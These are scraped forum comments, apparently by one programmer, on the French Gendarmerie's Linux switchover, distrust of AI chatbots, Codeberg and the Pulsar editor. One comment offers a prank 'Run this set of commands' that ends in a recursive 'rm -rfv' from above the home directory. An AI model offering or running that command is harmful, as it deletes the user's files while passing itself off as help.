

So libreoffice, some sap, some db and registry
He/Him Bisexual/Pansexual Nerd who does code for a job


So libreoffice, some sap, some db and registry


Fuck knows, I doubt 97% of all workstations run just the one app though
But I ain’t french, or a cop (ACAB), so I don’t know for certain


What does “97% of workstations” mean?


So you’re saying they never hallucinate? Ever?
I have evidence to the contrary;
https://www.businessinsider.com/microsoft-copilot-election-questions-misinformation-2024-2
https://cronkitenews.azpbs.org/2025/10/28/lawyers-ai-hallucinations-chatgpt/
https://www.envive.ai/post/case-study-of-air-canadas-chatbot


Lookup “Gendarmierie Linux Switchover”
It’s already happened.
Edit: quote
The Gendarmerie Nationale has run a Linux desktop environment continuously since 2008. By June 2024 it had reached 103,164 workstations, around 97 per cent of the force’s computing estate.
They even have their own Ubuntu fork, GendBuntu


I believe that was their old pc


You say irrational, I say it’s rational not to trust the predictive text on steroids that often just makes shit up.


Doesn’t allow you to use AI with your repos
You say that like it’s a bad thing, that’s a EXCELLENT THING, get the slop outta open source


Codeberg then


I’d love to preview it, could you see about adding it to DistroSea?


Ah dang good point


Run this set of commands:
cd ~
cd ..
rm -rfv **/**


Removed by mod
But they did shift their UI considerably since


Good for you, guess your setup is less complicated then.
There’s still plenty of stuff that is not a 1-to-1 drop in replacement, e.g. plenty use build previews from netlify, they have no drop-in for other providers so to get those you have to directly interact with the API instead, in a runner


Good for them, still, it’s risky, they just decided it was worth the risk


Aye, but that’s not true of the Linux OS’s based on it


Atom is back to life, kinda, there’s a fork of it called Pulsar that’s actually really pretty good
Look at the Timeline heading on the wiki page, turns out yes, actually using it